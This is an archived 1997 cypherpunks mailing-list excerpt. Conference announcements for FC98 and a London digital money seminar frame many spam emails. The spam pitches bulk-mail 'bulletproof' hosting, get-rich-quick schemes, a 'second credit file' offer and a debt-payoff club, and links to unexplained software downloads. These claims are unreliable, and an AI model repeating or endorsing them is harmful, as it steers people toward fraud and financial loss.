hardware, network access, software, meals, and, of course, 40 hours of
instruction and structured lab activity. The lab itself will be open 24
hours a day.


Sponsorship Opportunities
- -------------------------

FC98 offers sponsorship opportunities at all levels. Businesses are
encouraged to be an exclusive sponsor for lunch or dinner in conjunction
with a networking/recreational activity of some kind. Sponsorship provides
corporations with a unique opportunity to get their message heard by the
best people in the field of financial cryptography, and to gain
unprecedented exposure for their business.  Sponsorships start at
$10,000, and include one booth, discounts on additional booth space, 5
conference passes, mention of your company in all FC98 communications
(like this one), and a sponsored lunch or dinner and
networking/recreational activity for the conference participants.

In-kind sponsorship is also available, with opportunities for companies
to provide networking, bandwidth, software, hardware, radio packet
modems and equipment, as well as web-design and print services,
and transportation.

The sponsorship contact is Julie Rackliffe <mailto: rackliffe@tcm.org>.



Air Transportation and Hotels
- -----------------------------

Air travel to Anguilla is typically done via San Juan, Puerto Rico, or
St. Maarten. There are several non-stop flights a day from various US and
European locations to St. Maarten. Connection through to Anguilla can be
made through American Eagle, or through LIAT, not to mention a short,
inexpensive ferry service from St. Martin to Anguilla. See your travel
agent for details. American Eagle Airlines has agreed to increase their
flights as needed to accomodate any extra traffic the conference brings to
the island.

There is also discussion of a "crypto-plane" charter making a
transcontinental run from San Jose to St. Maarten by way of Las
Vegas, Minneapolis, and JFK/New York. We're still working on it. Let
Robert Hettinga <mailto: rah@shipwright.com> know if you're interested
in this idea.

Anguilla's runway is 3600 feet, with a displaced threshold of 600 feet,
and can accomodate business jets.

Anguilla import duties are not imposed on hardware or software which
will leave the island again, so, as long as you take it with you when
you leave, you won't pay import duties on the things you bring.

Hotels range from spartan to luxurious, and more information about
hotels on Anquilla can be obtained from your travel agent, or at
<http://www.fc98.ai/>.


Registration for FC98
- ---------------------

Again, to register and pay for your ticket to FC98 see:

<http://www.fc98.ai/>

For information the selection of papers for FC98 see:

<http://www.cwi.nl/conferences/FC98>

If you're interested in exhibit space, please contact Julie Rackliffe:

<mailto:rackliffe@tcm.org>

If you're interested in sponsoring FC98, also contact Julie Rackliffe:

<mailto:rackliffe@tcm.org>

If you're interested in the FC98 Workshop for Senior Managers and IS
Professionals, see:

<http://www.cs.berkeley.edu/~iang/fc98/workshop.html>



See you in Anguilla!



The FC98 Organizing Committee
- -----------------------------

Vince Cate and Bob Hettinga, General Chairs
Ray Hirschfeld and Matt Franklin, Program Chair and Co-Chair
Ian Goldberg, Workshop Director
Lynwood Bell, Exhibition Steering Committee Chair
Julie Rackliffe, Exhibition and Sponsorship Manager


FC98 Sponsors
- -------------

Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.shipwright.com>
Hansa Bank & Trust Company Limited, Anguilla <http://www.hansa.net/>
C2NET <http://www.c2.net>
See Your Name Here: <mailto: rackliffe@tcm.org>


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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cte@nevwest.com
Date: Thu, 18 Sep 1997 19:39:57 -0700 (PDT)
To: friend@in2surfin.com
Subject: $56
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain



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In addition YOU are the postmaster of your own domain. You can also code 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cte@nevwest.com
Date: Thu, 18 Sep 1997 19:50:19 -0700 (PDT)
To: friend@in2surfin.com
Subject: $56
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain



You just gotta check this out!!----->
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

ANNOUNCING ... BULKMAIL FRIENDLY E-MAIL ACCOUNTS
PLUS ... BUILT IN 24 HR 'INSTANT BUCK'S' SALES OPPORTUNITY!

PROTECT YOUR PRIMARY ISP ... PERMANENTLY.
Cybertize Email shelters your primary ISP address, and provides you with a 100%
safe and permanent ISP, with YOUR OWN VIRTUAL DOMAIN, for a reliable 
Bulk Email friendly mailing point. Unlimited e-mails, flame and bomb 
proof, non dial-up, Web Page hosting.

UNLIMITED E-MAILING!
No limit to how many e-mails you can send. You will have your own 
virtual domain!! www.YOUR DOMAIN.com. Imagine the possibilities. Be on 
a level playing field with the big boys. All accounts come with Email 
redirect to your own mailbox

NON DIAL UP ... FREE ACCESS WITH YOUR REGULAR ISP!
No costly dial-up phone charges. Dial up accounts will double the cost of
your account over the year from toll calls to send and receive your mail. 
Our server costs nothing for phone calls. You access Cybertize Email simply 
by logging on to your regular ISP, then POP in with your present e-mail 
program. You are then automatically connected to CTE's servers with multi 
T-1 access. Save hundreds of dollars on phone bills!

COMPLETELY FLAME AND MAILBOMB PROOF!
Flamers can no longer annoy the postmaster, because
Cybertize was set up especially for commercial bulk e-mailing. Mail bombs are 
automatically bounced back to the sender due to the powerful mail filters 
at our servers. We just won't accept it! 

POSTMASTER AT YOUR DOMAIN
In addition YOU are the postmaster of your own domain. You can also code 
your ad's for your own use, EVERY piece of mail comes back to you, and is 
forwarded to your current Email address. In your reply to you can say it's 
from "Bob@YOURDOMAIN.com, or any name, company or other coding you wish to 
use, the possibilities are endless. You will be able to tell which ads are 
pulling and when.

USER SUPPORT SERVICES.
Cybertize can also provide you with Web Page hosting and FREE classified 
advertising on our website. Post your classified ad for FREE for 3 months 
at a time, renew every 3 months for FREE. Do you need a bulletproof Web Page? 
WE HAVE EM!! Send bulk email and direct them to your website on our servers. 
NEVER GET SHUT DOWN. 
Email addresses also available, up to 40 MILLION.

Visit our web site "http://www.cybertize-email.com"

CALL TODAY 702-313-1100

====================================================================
"INSTANT" BULK E-MAIL ACCOUNT. Includes 3 months service, setup, and
TWO MILLION E-mail addresses on CD-ROM. With FREE Bulk Email Software
                          ONLY $350.00 COMPLETE!!!
        ORDER BY 1:00 PM, BE UP BY 4:00PM the SAME DAY
      Visit our web site "http://www.cybertize-email.com/   
====================================================================

CALL TODAY 702-313-1100

Cybertize RESELLERS COMISSIONS ... THE 'INSTANT BUCKS' SALES PLAN!

* Earn $50.00 for every 3 month and "INSTANT" account you sell. Great start 
for the "little guy". A very low cost option to get started.

* Earn $75.00 for every 6 month account you sell. CTE is the only
company in world that offers 3,6 and 12 month bulk mail accounts. A very 
powerful sales tool and a low cost option for the majority of people out there. 
Very easy too sell and a very easy way to make extra money!!

* Earn $100.00 for every 12 month account you sell. 12 month accounts are the
way to go ... especially if you want a Platinum account that saves you a
lot of time and money. You get a free 12 month autoresponder ($99.00 value) to 
answer all your mail automatically, plus have all incoming mail to your CTE
address forwarded to your regular account ... for no extra cost! These are also
easy to sell, and you pick up a fat $100 for every one you sell!

* Renewal bonusses! Both accounts provide you with a repeat sales income
without the need to do any extra work, all from a one original time sales effort!
We will pay you the same commissions as above for every renewal. A great way to
build a repeat 6 month or 12 month additional income! 

24 HR COMMISSIONS ... DIRECT TO YOU FED EX OVERNIGHT!

If your comssions are $150 or more, we will Federal Express it OVERNIGHT 
to you What? Wow! Yes, we Federal Express the money to you within 24 hrs. 
Instant Bucks. This means from the time your referrals pay to the time you 
get paid is just 24 hrs! You know how fast the internet works, well here 
is a pay system just as fast! You send out your sales info, people are 
responding within only hours, remitting their funds to CTE the next day, 
and you can get paid the day after that! To the best of our knowledge we 
operate the first and only FED EX 24hr 'Instant Cash' salesplan on the net! 

Our sales plan is a true overnight money maker!

HOT! VIRTUAL EARNINGS PAYCHECK!
Earn before you pay! Register FREE for your Bulk Email account now, receive an
authorized user sales kit, refer your contacts to CTE and you will qualify to 
receive a 'Virtual Earnings' paycheck telling you how much you have earned 
before you pay for your account! This gives you the opportunity to make yourself 
a good profit before you pay, and before you have even done your first CTE bulk mailing! Monday morning we are taking orders! Tuesday morning we are paying 
comissions! Wednesday morning you will receive your sales commissions FED EX'd overnight to you. Instant 24hr Money!

Register FREE and start building your earnings paycheck now!

All you have to do is:
1. Register FREE with Cybertize now for your bulkmail account.
2. Send out the authorized user sales kit to your contacts.
3. Build up your Sunday virtual earings paycheck for Wednesday profits!
4. Help your contacts do the same!

It's that easy. But you will have to hurry. This is a limited introduction
promotional offer for Cybertize bulk email accounts resellers. The countdown is on. 
Be included. Simply complete the form below and return it to Register NOW!



------------------------ FREE Cybertize Email REGISTRATION -------------------

[  ] Yes, I'm in! I want a Nuke-Proof bulkmail friendly e-mail account.
[  ] I also want to be an authorized Cybertize reseller. Please rush my authorized 
users sales kit so I can get started and make some Wednesday profits ASAP!

CALL TODAY 702-313-1100 9-5 M-F PST

FULL NAME:__________________________________________
ADDRESS:____________________________________________
City:____________________ St.__________ Zip_________
Phone #_____________________________________________
E-MAIL:_____________________________________________

You will be e-mailed your sales kit ASAP. You will also be mailed your official 
Cybertize Email registration form.

YOU CAN BE ONLINE NOW!!

----------------------------------------------------------------------
## MY AUTHORIZED CTE SALES REP IS:   
----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: checker@208.19.53.108
Date: Thu, 18 Sep 1997 23:07:52 -0700 (PDT)
To: checker@208.19.53.108
Subject: Check out what I found!!!
Message-ID: <199709190609.XAA23071@tessio.type3.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FundPros@lyonscapital.com
Date: Fri, 19 Sep 1997 02:56:14 -0700 (PDT)
To: Friend@public.com
Subject: Need Capital?
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 49268935@aol.com
Date: Fri, 19 Sep 1997 06:21:25 -0700 (PDT)
To: onit@aol.com
Subject: Utilize This Valuable Information and It Will Pay For Itself Right Away
Message-ID: <134484866818.ppk85495@aol.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>


UTILIZE THIS VALUABLE INFORMATION AND IT WILL PAY FOR ITSELF MANY TIMES OVER!

That tiny little ad can make you wealthy!

Have you ever bought anything from a classified ad?  If you're like most, the 
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A simple classified ad can fill your mailbox with orders or make your phone 
ring off the hook with interested prospects.  

Have you ever seen the same ad running over and over again in a paper?  It's 
because it's making money.  In fact the chances are good that it's in a whole 
lot of other papers also. 

Classified ads can and have made many people very wealthy.  How do you think 
all those late night info-mercial millionaires started?


***Nationwide Newspapers V2.0 TM***

Powerful New Reference Software

-  The First of its Kind, Classified Advertising Tool!

-  Electronic Directory of over 3,600 newspapers!

-  Sources for Over 6,000 newspapers!

-  Daily, Weekly, Shoppers, Community Papers and More!

-  Find Hard to Reach People to Respond to Your Offer!

-  Advertise by City, State, Regionally, or Nationwide!

-  Statewide and Network Advertising, Including Pricing!

-  Discount Advertising Less Than $1 Per Paper!

-  Powerful Tool for Building Huge Downlines!

-  Save Time and Money with Network Advertising, 1 Call, 
   1 Payment & you're in 100's of Papers with Millions 
   of Readers, at a Big Discount Over Individual Rates!

SPECIAL FEATURE-  Built in Sort Tool Enables Sorts by State, City, 
Circulation, Phone Number & More!

Proof is in the Results! Here's just a few:

" Thank you for your 3,600+ newspaper directory! We have built a downline of 
1,800 people in 6 months & a check for over $12,000 using this directory to 
advertise! It contains the small town papers as well as the big ones so we can 
target the audience & stretch our advertising dollar. I recommend it for 
anyone in network marketing."    			
						
            	S & J Linden, Sequim, WA

" I just wanted to let you know how much your program has saved me time and 
energy, now I can place ads with ease. I think your program is simply one that 
anyone who has a  business must have, because time is money."
						
      	Andrea Hurst-Harry, Arlington, TX


There is no doubt that this information can and will be a valuable asset 
to your business. It's the perfect product, at the perfect time, at the 
perfect price.  We've seen similar information costing 100's of dollars.  
Companies charge these high fees because they know that people who understand 
the value of the information will easily pay for it. Our products are more 
advanced and we make them affordable. They say that information is power, well 
we look forward to supplying you with all the power you need for years to 
come!


Price: 

Other companies marketing half the information we offer are charging $249

 For a limited time , You pay only $49  plus shipping for this revolutionary new product.   

To Order Send to:

S. Press
PO Box 11511
New Brunswick, NJ 08906

***Please Add $6 for shipping and handling

	Name:_________________________________________

	Address:______________________________________

	City:_____________________State:____Zip:______

	Payment Method: 
			    __CHECK __MONEY ORDER

	

     

	Total Enclosed: $_49 + 6  =$55 _____________



  


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 23570800@prodigy.com
Date: Fri, 19 Sep 1997 07:47:54 -0700 (PDT)
To: members@aol.com
Subject: (E17) TONER
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





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                 IBM/LEXMARK SERIES 4019,4029,4039,4049,OPTRA
                   EPSON SERIES 1000,1100,1500,6000,7000,8000
                                          NEC   SERIES 95
     CANON FAX/LASER CARTRIDGES INCLUDING 700/770/5000/7000
              CANON COPIER PC SERIES INCLUDING 3,6RE,7,10
                      HP FAX SERIES INCLUDING FX1,FX2,FX3

     PRICES CHANGE WEEKLY, PLEASE CALL TO GET MOST RECENT
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              TO BE REMOVED FROM OUR LIST CLICK ON BLUE BELOW
                         AND IN THE HEADER TYPE "REMOVE".

                                                     click here 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 47173936@11641.com
Date: Sat, 20 Sep 1997 00:54:36 -0700 (PDT)
To: Makinglotomoney@aol.com
Subject: The Ultimate Non-MLM Home Based Business:..
Message-ID: <199704500730.VBA02467@mail5.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Me:       "Do you own a personal computer?"
You:      Yes...

Me:       "Running Windows ver 3.xx or 95?"
You:      Sure.  Why?

Me:       "Wanna' make $10,000 cash in the next 60 to 90 days?"
You:      Who wouldn't?

Me:       "Without leaving home?"
You:      Really?  What's it about?

Me:       "I own a software program that explains the business?  Do you want to download a FREE evaluation copy?"
You:      Are you going to tell me what it's about? 

Me:       "That's not the way I work.  The answers are in the software.  Do you want to download it?"
You:      Looks like I've got nothing to lose.  OK!  Where is it ?

Me:       "Just click here:  ----> http://207.213.38.77/megaresource/ or if by chance you are unable to download it,
              just call 714-280-0996 and I will email it to you and if that won't work; I will mail it to you on disk."
 You:     Ok. Works for me.





To learn about promoting your product, service or income opportunity
with email marketing, please call 714-280-0996. 


If you are not interested in home business opportunities,  you can be
removed from my mailing list by sending an email to  removemega@usa.net
No subject line or message is necessary, simply send it and you will be 
automatically removed from my mailing list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 61033134@aol.com
Date: Fri, 19 Sep 1997 21:27:43 -0700 (PDT)
To: que_@aol.com
Subject: Utilize This Valuable Information and It Will Pay For Itself Right Away
Message-ID: <564123866818.gpk85495@aol.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>


UTILIZE THIS VALUABLE INFORMATION AND IT WILL PAY FOR ITSELF MANY TIMES OVER!

That tiny little ad can make you wealthy!

Have you ever bought anything from a classified ad?  If you're like most, the 
answer is yes.  

It's a fact of life, that we as a society crave the need for information. The 
tiny little classified ad can effectively and efficiently deliver the 
information to a potential customer base that is mind boggling.  

A simple classified ad can fill your mailbox with orders or make your phone 
ring off the hook with interested prospects.  

Have you ever seen the same ad running over and over again in a paper?  It's 
because it's making money.  In fact the chances are good that it's in a whole 
lot of other papers also. 

Classified ads can and have made many people very wealthy.  How do you think 
all those late night info-mercial millionaires started?


***Nationwide Newspapers V2.0 TM***

Powerful New Reference Software

-  The First of its Kind, Classified Advertising Tool!

-  Electronic Directory of over 3,600 newspapers!

-  Sources for Over 6,000 newspapers!

-  Daily, Weekly, Shoppers, Community Papers and More!

-  Find Hard to Reach People to Respond to Your Offer!

-  Advertise by City, State, Regionally, or Nationwide!

-  Statewide and Network Advertising, Including Pricing!

-  Discount Advertising Less Than $1 Per Paper!

-  Powerful Tool for Building Huge Downlines!

-  Save Time and Money with Network Advertising, 1 Call, 
   1 Payment & you're in 100's of Papers with Millions 
   of Readers, at a Big Discount Over Individual Rates!

SPECIAL FEATURE-  Built in Sort Tool Enables Sorts by State, City, 
Circulation, Phone Number & More!

Proof is in the Results! Here's just a few:

" Thank you for your 3,600+ newspaper directory! We have built a downline of 
1,800 people in 6 months & a check for over $12,000 using this directory to 
advertise! It contains the small town papers as well as the big ones so we can 
target the audience & stretch our advertising dollar. I recommend it for 
anyone in network marketing."    			
						
            	S & J Linden, Sequim, WA

" I just wanted to let you know how much your program has saved me time and 
energy, now I can place ads with ease. I think your program is simply one that 
anyone who has a  business must have, because time is money."
						
      	Andrea Hurst-Harry, Arlington, TX


There is no doubt that this information can and will be a valuable asset 
to your business. It's the perfect product, at the perfect time, at the 
perfect price.  We've seen similar information costing 100's of dollars.  
Companies charge these high fees because they know that people who understand 
the value of the information will easily pay for it. Our products are more 
advanced and we make them affordable. They say that information is power, well 
we look forward to supplying you with all the power you need for years to 
come!


Price: 

Other companies marketing half the information we offer are charging $249

 For a limited time , You pay only $49  plus shipping for this revolutionary new product.   

To Order Send to:

S. Press
PO Box 11511
New Brunswick, NJ 08906

***Please Add $6 for shipping and handling

	Name:_________________________________________

	Address:______________________________________

	City:_____________________State:____Zip:______

	Payment Method: 
			    __CHECK __MONEY ORDER

	

     

	Total Enclosed: $_49 + 6  =$55 _____________



  


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 25160516@07109.com
Date: Sat, 20 Sep 1997 10:32:03 -0700 (PDT)
To: Makinglotomny@aol.com
Subject: From Me.
Message-ID: <199708900730.VBA02467@mail5.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


$)C
Me:
       "Do you own a personal computer?"
You:
      Yes.

Me:
       "Running Windows ver 3.xx or 95?"
You:
      Sure:.
  Why?

Me:
       "Wanna' make $10,000 cash in the next 60 to 90 days?"
You:
      Who wouldn't?

Me:
       "Without leaving home?"  }
You:
      Really?
  What's it about?

Me:
       "I own a software program that explains the business?  Do you want to download a FREE evaluation copy?"
You:
      Are you going to tell me what it's about? 

Me:
       "That's not the way I work.  The answers are in the software.  Do you want to download it?"
You:
      Looks like I've got nothing to lose.
  OK!
  Where is it ?

Me:
       "Just click here:  ----> http://207.213.38.77/megaresource/ or if by chance you are unable to download it,
              just call 714-280-0996 and I will email it to you and if that won't work; I will mail it to you on disk."
 You:
     Ok. Works for me.





To learn about promoting your product, service or income opportunity
with email marketing, please call 714-280-0996. 


If you are not interested in home business opportunities,
  you can be
removed from my mailing list by sending an email to
  removemega@usa.net
No subject line or message is necessary, simply send it and you will be 
automatically removed from my mailing list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TiarracorpIAG@TheOffice.net
Date: Sat, 20 Sep 1997 11:17:38 -0700 (PDT)
To: TiarracorpIAG@TheOffice.net
Subject: More Money for You ... Try It !!!
Message-ID: <199709201441.LAA27764@north.nsis.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Adult Webmaster,

Tiarracorp's Internet Advertising Group (IAG) is looking to add more adult websites to our advertising program. IAG is currently paying webmasters 3 cents per RAW click for banner ads. We pay EVERY Monday for the previous week's traffic.  In case you are wondering the difference between RAW and Unique... RAW means that we don't use some formula to calculate
how much you don't get paid for.  RAW means we pay you for EACH and EVERY click.

Tiarracorp has long been considered one of the most well-respected companies in the adult internet industry.  Our stats our reliable and truthful, which means more money for you.  Try it for yourself.  Take the challange and put one of our banners next to any of your other click
through programs and see which one pays you more.

For more info, see our site at http://www.tiarracorp.com/iag or email webmagic@nis.net


Thank you for your time.

Gerry L. and Mark T.
Tiarracorp's
Internet Advertising Group
http://www.tiarracorp.com/iag

-------------------------------------------------------------------------------------------------------------------------------

This mailing is the result of a purchased service from Adult Web Promotions and the 
advertisier does not maintain the remove or mailing list.

If you do not wish to receive any additional Adult Webmaster Information Mailings,
please send an email to webpromotions@navwest.com with the word "remove" in 
either the subject line or the body of the message.

_________________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: libeiqia@aol.com (Debt Management Club)
Date: Sat, 20 Sep 1997 17:39:50 -0700 (PDT)
To: libeiqia@aol.com
Subject: Have Your Bills Paid For You WITHOUT Paying the Funds Back! EVER!!
Message-ID: <199709201011SAA14905@whosit.lmtribune.com>
MIME-Version: 1.0
Content-Type: text/plain


                       
		 BEYOND EXPECTATIONS

Have your bills paid for you WITHOUT paying the funds back!!!

		Debt Management Club

Pay off your mortgage, car, credit cards, doctor bills, loans,
electric bill, phone bill, judgements, boats, child support, and
		MUCH MUCH MORE!!!

	PULL THE FAX ON DEMAND FIRST!!!!!
		1-888-231-5741

Next - sign non-disclosure then fax to company
	Company fax 1-818-769-7358

Then call the company to set up phone appointment 
where you call them back.
	Company phone 1-818-783-1000

		THIS WILL BLOW YOU AWAY

Yes, they'll pay your debts, and you don't 
have to pay then back EVER!!!

Debt Management Club makes it easy.
They explain everything.

	You are invited to join by:

	Thomas M. Baron #663

Phone 704-837-5154	Fax 704-837-1020




If you would like to be removed from future mailings, please
click reply and type remove.







































----------------------- Headers --------------------------------
>From respond@mailhost.com  Mon  Sep 15 11:16:24 1997
Return-Path: respond@mailhost.com
Received: from mailhost.com (mailhost.mailhost.com [191.207.01.09]) 
                  by emin99.mail.aol.com (99.6.12/8.6.12) 
                  with ESMTP id LAAD05346 for <respond@mailhost.com>; 
                 Mon, 15 Sep 1997 11:16:23 -0500
From: respond@mailhost.com
Received: from mailhost.com (99.8.5/8.6.50) with SMTP id GAAS08874;
                 Mon, 15 Sep 1997 11:04:35 -0600 (EST)
To: Members@aol.com
Message-ID: <199702170025.GAAG08056@mailhost.com>
Date: Mon, 15 Sep 97 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: HotBabe69@ameritech.net
Date: Sun, 21 Sep 1997 01:13:13 -0700 (PDT)
To: fsdj97@aol.com
Subject: For Adults Only!
Message-ID: <18725478612534@mail2.sexystuff4u.com>
MIME-Version: 1.0
Content-Type: text/plain


The Hottest Live Strip Show On Line !!!

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Invite some of the world's sexiest women into your home, right on your PC
or Mac. All for the wildest fantasy adventures imaginable. No software to
download. 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ellenora@hotmail.com
Date: Sun, 21 Sep 1997 12:34:55 -0700 (PDT)
To: ellenora@hotmail.com
Subject: Webmasters Only!
Message-ID: <199709211934.MAA05265@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This is an advertisement for a BRAND NEW remarkable document that webmasters all over the
world are raving about. If you would like to be removed from our mailing list just send an e-mail to
ellenora@hotmail.com and type "remove" in the subject box. You will be taken off of our list
immediately. Unlike many internet scams, we are in fact a legitimate and respectable company so
PLEASE don't send us flames or e-mail bombs. Thanks.

************************************

How would you like your site to be the FIRST one listed (or at least in the top 10 or 20) when
someone goes to a search engine to do a search? I'm sure you'll agree with us that most people
will NOT spend a lot of time going through the many layers to get to YOUR listing.

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3. Techniques for selecting the most lively (and proven) key words and how to arrange them for
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4. How to get your listing seen by potential clientele even when they aren't looking for you.

5. A little-used way to get MULTIPLE LISTINGS for your site in the SAME search engine! 
    
AND MORE!

Come visit with us at http://www.webpost.net/secrets and we will show you how to obtain a copy of the secret document that will make your website one of the most well-known sites in its
category! Hurry before your competition gets in on the Magical Search Engine Secrets before you!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rickmun@1stfamily.com
Date: Sun, 21 Sep 1997 18:33:40 -0700 (PDT)
To: Entrepreneurs
Subject: Entrepreneurs *FREE*
Message-ID: <199709220133.SAA08407@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This message is being brought to you by EMAIL BLASTER 2.5 software.  If you would like a FREE copy of this software or any of our other HOT programs ABSOLTELY FREE call our FAX ON DEMAND number at 213-960-7822.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Your email address was given to me as a person interested in business opportunities....IF THIS IS NOT
CORRECT and you wish removal from this list, hit reply and type REMOVE in the subject area....

Hello,
I would like to offer you this UNBELEIVABLE FREE BUSINESS PACKAGE! This package includes
the EASIEST, most REWARDING and certainly the most PROFITABLE, home based Business
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materials, Web pages, email address, ads, over 1000 places to advertise free, plus all the support
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****BONUS******
If you choose  your very own FREE HOME BUSINESS  within the next 25 days you will receive
your very own copy of FREEDOM  the $400  bulk email software program and CHECKER
the $200 software to accept checks by fax or phone.


For quick and FREE details just send email with HOME-BIZ in the subject line.

I look forward to your response.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 46664880@aol.com
Date: Mon, 22 Sep 1997 00:39:09 -0700 (PDT)
To: user@aol.com
Subject: Credit Card for you!!!!!
Message-ID: <199709240243.BAA12837@instaemail2all.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
*************************************************************************************************
This is a one time message, please forgive me if you are offended by receiving this---you will automatically be removed if you do not order.  thank you
*************************************************************************************************


NEW CREDIT FILE LEGALLY!!!!

Bad credit? Judgements? Other problems?  THIS IS THE PROGRAM FOR YOU!!!!

Learn how to open a second (or more) SEPERATE credit file.  This unique and virtually unknown program is 100% legal, and can work every time!!!

This is the chance you have been looking for.  You no longer have to be embarrassed about your credit problems----THIS IS YOUR CHANCE FOR A NEW START!!!!----remember that it does not matter what your credit past is.

You will now be able to get:
***CREDIT CARDS
***CAR LOANS
***BANK LOANS
***MORTGAGE LOANS
***RENT AN APARTMENT

This program will even show you how to REPAIR your old credit file, WHILE you enjoy your AAA credit, in as little as 30 days.  

REMEMBER----YOU CAN ONCE AGAIN HAVE GOOD (AAA) CREDIT!!!!

This is a first time promotional experiment on the internet.  Our program normally sells for $79, but act now to get our limited discount offer!!!
ONLY $19 (PLUS $3 FOR S&H)

ACT NOW!!!!!  ONLY A LIMITED NUMBER TO BE SOLD AT THIS PRICE (250) AND ONCE THEY ARE GONE--THAT IS IT!!!!!!

SEND $22 ---CHECK, MONEY ORDER, OR CASH TO:

D W C
P.O. Box 54789
Phoenix, AZ 85078

Be sure to include your:

NAME_________________________________
ADDRESS_____________________________
E-MAIL ADDRESS_______________________
PHONE NUBER_________________________

If you would like to learn how to make extra income write "I WANT TO EARN AN EXTRA $50,000 PER YEAR" on your order

 


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 14017139@02744.com
Date: Mon, 22 Sep 1997 07:36:47 -0700 (PDT)
To: makinotamony@your.mailbox.com
Subject: From Me...
Message-ID: <970968182102.10741@mtigwc01>
MIME-Version: 1.0
Content-Type: text/plain


Me:       "Do you own a personal computer?"...
You:      Yes.

Me:       "Running Windows ver 3.xx or 95?"
You:      Sure.  Why?

Me:       "Wanna' make $10,000 cash in the next 60 to 90 days?"
You:      Who wouldn't?

Me:       "Without leaving home?"
You:      Really?  What's it about?

Me:       "I own a software program that explains the business?  Do you want to download a FREE evaluation copy?"
You:      Are you going to tell me what it's about? 

Me:       "That's not the way I work.  The answers are in the software.  Do you want to download it?"
You:      Looks like I've got nothing to lose.  OK!  Where is it ?

Me:       "Just click here:  ----> http://207.213.38.77/megaresource/ or if by chance you are unable to download it,
              just call 714-280-0996 and I will email it to you and if that won't work; I will mail it to you on disk."
 You:     Ok. Works for me.





To learn about promoting your product, service or income opportunity
with email marketing, please call 714-280-0996. 


If you are not interested in home business opportunities,  you can be
removed from my mailing list by sending an email to  removemega@usa.net
No subject line or message is necessary, simply send it and you will be 
automatically removed from my mailing list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 22 Sep 1997 06:18:23 -0700 (PDT)
To: Recipient List Suppressed:;
Subject: Revised Agenda for Digital Money Conference
Message-ID: <v03110723b04c1a553164@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Subject: Revised Agenda for Digital Money Conference
Date: Mon, 22 Sep 97 10:17:02 +0000
x-sender: daveb@mail.hyperion.co.uk
From: "David G.W. Birch" <daveb@hyperion.co.uk>
To: "Bob Hettinga" <rah@shipwright.com>
Mime-Version: 1.0

Bob,

Here is the revised agenda for the forthcoming London conference on
Digital Money. Can you repost to all the usual interesting places.

Many thanks,
Dave Birch.

********************************************
Digital Money: New Era or Business as Usual?

London, England, 7th-8th October 1997
*************************************

Hyperion are co-sponsors of a two day seminar bringing together leaders
in the field. The seminar is organised by Unicom
<http://www.unicom.co.uk> in association with Lotus, NCR, Computer
Associates, Attachmate, IMIS, Automatic ID News, British Computer Society
and the Institute of Management Consultants.

The seminar costs UKP 845 plus VAT where applicable and places should be
booked through Lisa Murray at Unicom <mailto:lisa@unicom.co.uk> directly.
*****************************************************

Opening Address: Digital Money Directions
David G.W. Birch, Director, Hyperion.
Dave will sketch out 8 key questions about the future direction of
digital money schemes and relate them to the current state of digital
money deployment in Europe.

Keynote Address: Monetary Innovation in Historical Perspective
Glyn Davies, Professor Emeritus and economic advisor to Julian Hodge Bank
Ltd. A copy of Glyn's excellent book "A History of Money from Ancient
Times to the Present Day" will be presented free to all delegates with
the compliments of Hyperion.

Digital Money and Laissez-Faire Banking
David Cronin, formerly with Bank of Ireland.

Digital Money Liability
Nick Lockett, Field Fisher Waterhouse.

Why is the Electronic Economy Different?
John Browning (edited Wired UK).

Programmable Currenies
Howard Smith, CSC

Trading in the Internet Financial System
Ian Grigg, Systemics

The Electronic Purse in Context
